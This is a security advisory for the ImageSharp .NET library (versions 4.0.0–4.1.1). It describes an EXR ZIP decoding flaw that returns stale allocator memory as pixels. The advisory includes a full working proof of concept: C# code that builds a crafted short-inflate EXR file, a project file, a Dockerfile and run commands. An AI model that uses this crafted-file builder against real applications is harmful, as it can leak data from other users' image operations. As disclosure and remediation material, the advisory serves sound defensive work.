GHSA-4q3p-rj5x-xv7p

Suggest an improvement
Source
https://github.com/advisories/GHSA-4q3p-rj5x-xv7p
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4q3p-rj5x-xv7p/GHSA-4q3p-rj5x-xv7p.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4q3p-rj5x-xv7p
Aliases
Published
2026-10-07T20:24:42Z
Modified
2026-10-07T20:30:07Z
Severity
  • 5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate
Details

Summary

A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.

This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application.

No active exploitation is known.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected published releases: 4.0.0, 4.1.0, and 4.1.1
  • Affected range: >= 4.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.

Details

For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0.

Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels.

Reproduction

The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR.

The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.

docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control

Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64.

Observed output:

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1

Suggested remediation

Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.

Complete PoC files

Program.cs:

using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;

// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
    private const int PriorWidth = 64;
    private const int AttackerWidth = 256;
    private const float PriorValue = 0.271828182f;

    private static int Main(string[] args)
    {
        bool exploit = args.Length == 0 || args[0] == "exploit";
        if (args.Length > 0 && args[0] is not ("exploit" or "control"))
        {
            Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
            return 2;
        }

        Assembly imageSharp = typeof(Image).Assembly;
        string informationalVersion = imageSharp
            .GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
            .InformationalVersion
            ?? "(missing)";
        Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
        Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");

        EncodePriorOperation();

        // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
        // uncompressed bytes. The control payload supplies all 1024 bytes.
        // The exploit payload supplies eight non-empty bytes.
        byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
        using Image<RgbaVector> result = Image.Load<RgbaVector>(
            new DecoderOptions { Configuration = Configuration.Default },
            new MemoryStream(exr));

        result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
        int firstLeak = FindPriorValue(memory.Span);

        Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
        Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");

        if ((firstLeak >= 0) != exploit)
        {
            Console.Error.WriteLine("unexpected disclosure result");
            return 1;
        }

        return 0;
    }

    private static void EncodePriorOperation()
    {
        using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
        for (int x = 0; x < PriorWidth; x++)
        {
            previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
        }

        using var encoded = new MemoryStream();
        previousImage.Save(encoded, new ExrEncoder
        {
            Compression = ExrCompression.Zips,
            PixelType = ExrPixelType.Float,
        });

        Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
    }

    private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
    {
        int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
        for (int x = 0; x < pixels.Length; x++)
        {
            if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
            {
                return x;
            }
        }

        return -1;
    }

    private static byte[] BuildAttackerExr(int inflatedBytes)
    {
        byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
        using var output = new MemoryStream();
        using var writer = new BinaryWriter(output);

        writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
        writer.Write((byte)2);
        writer.Write(new byte[] { 0, 0, 0 });

        using (var channels = new MemoryStream())
        using (var channelWriter = new BinaryWriter(channels))
        {
            WriteString(channelWriter, "R");
            channelWriter.Write(2); // FLOAT
            channelWriter.Write((byte)0);
            channelWriter.Write(new byte[] { 0, 0, 0 });
            channelWriter.Write(1);
            channelWriter.Write(1);
            channelWriter.Write((byte)0);
            WriteAttribute(writer, "channels", "chlist", channels.ToArray());
        }

        WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS
        WriteBox(writer, "dataWindow");
        WriteBox(writer, "displayWindow");
        WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });

        byte[] one = new byte[4];
        BinaryPrimitives.WriteSingleLittleEndian(one, 1F);
        WriteAttribute(writer, "pixelAspectRatio", "float", one);
        WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]);
        WriteAttribute(writer, "screenWindowWidth", "float", one);
        writer.Write((byte)0); // end of header

        long chunkOffset = output.Position + sizeof(ulong);
        writer.Write((ulong)chunkOffset);
        writer.Write((uint)0); // scanline
        writer.Write((uint)compressed.Length);
        writer.Write(compressed);
        writer.Flush();
        return output.ToArray();
    }

    private static void WriteBox(BinaryWriter writer, string name)
    {
        using var value = new MemoryStream();
        using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
        {
            box.Write(0);
            box.Write(0);
            box.Write(AttackerWidth - 1);
            box.Write(0);
        }

        WriteAttribute(writer, name, "box2i", value.ToArray());
    }

    private static byte[] ZlibCompress(byte[] source)
    {
        using var compressed = new MemoryStream();
        using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
        {
            zlib.Write(source, 0, source.Length);
        }

        return compressed.ToArray();
    }

    private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
    {
        WriteString(writer, name);
        WriteString(writer, type);
        writer.Write(value.Length);
        writer.Write(value);
    }

    private static void WriteString(BinaryWriter writer, string value)
    {
        writer.Write(Encoding.ASCII.GetBytes(value));
        writer.Write((byte)0);
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>enable</Nullable>
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0

WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./

# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore

ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]

Run:

docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Database specific
{
    "cwe_ids": [
        "CWE-226"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:42Z",
    "nvd_published_at": "2026-10-06T18:16:52Z",
    "severity": "MODERATE"
}
References

Affected packages

NuGet / SixLabors.ImageSharp

Package

Name
SixLabors.ImageSharp
View open source insights on deps.dev
Purl
pkg:nuget/SixLabors.ImageSharp

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.0.0
Fixed
4.1.2

Affected versions

4.*
4.0.0
4.1.0
4.1.1

Database specific

last_known_affected_version_range
"<= 4.1.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-4q3p-rj5x-xv7p/GHSA-4q3p-rj5x-xv7p.json"